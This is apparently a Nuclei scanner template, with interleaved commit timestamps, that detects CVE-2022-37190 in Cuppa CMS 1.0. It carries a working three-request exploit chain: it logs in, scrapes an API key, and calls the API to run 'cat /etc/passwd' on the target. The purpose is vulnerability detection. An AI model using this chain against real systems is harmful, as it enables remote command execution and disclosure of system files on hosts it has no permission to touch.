2023-04-21 08:56:01 +00:00
id : CVE-2022-37190
info :
name : Cuppa CMS v1.0 - Remote Code Execution
author : theamanrawat
severity : high
description : |
CuppaCMS 1.0 is vulnerable to Remote Code Execution (RCE). An authenticated user can control both parameters (action and function) from "/api/index.php.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patch or update to a patched version of Cuppa CMS v1.0 to mitigate this vulnerability.
2023-04-21 08:56:01 +00:00
reference :
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-37190
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2023-04-21 08:56:01 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2022-37190
cwe-id : CWE-732
2024-05-31 19:23:20 +00:00
epss-score : 0.19055
epss-percentile : 0.9625
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
2023-04-21 08:56:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : cuppacms
product : cuppacms
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,rce,cuppa,authenticated,cuppacms
2023-04-21 08:56:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
user={{username}}&password={{password}}&language=en&task=login
- |
POST /components/table_manager/ HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
path=component%2Ftable_manager%2Fview%2Fcu_api_keys
- |
POST /api/index.php HTTP/1.1
Host : {{Hostname}}
key : {{apikey}}
Content-Type : application/x-www-form-urlencoded
action=system&function=exec&cmd=cat+/etc/passwd
matchers-condition : and
matchers :
- type : word
part : header_3
words :
- "text/html"
2023-07-11 19:49:27 +00:00
- type : regex
regex :
- "postgres:.*:1001:"
- "root:.*:0:0:"
2023-04-21 08:56:01 +00:00
- type : status
status :
- 200
extractors :
- type : regex
name : apikey
group : 1
regex :
- "<td class='td_key'>(.*?)</td>"
internal : true
2024-06-01 06:53:00 +00:00
# digest: 4b0a00483046022100959083cf9c14ebab619f9f72c4d74ac9c80d618d8d704aa0db0f6ddeb03dc79e022100dfb2e831eb99a1fbce5f67994458b466862f7455bd32ddfd0d478c31345f258c:922c64590222798bb761d5b6d8e72950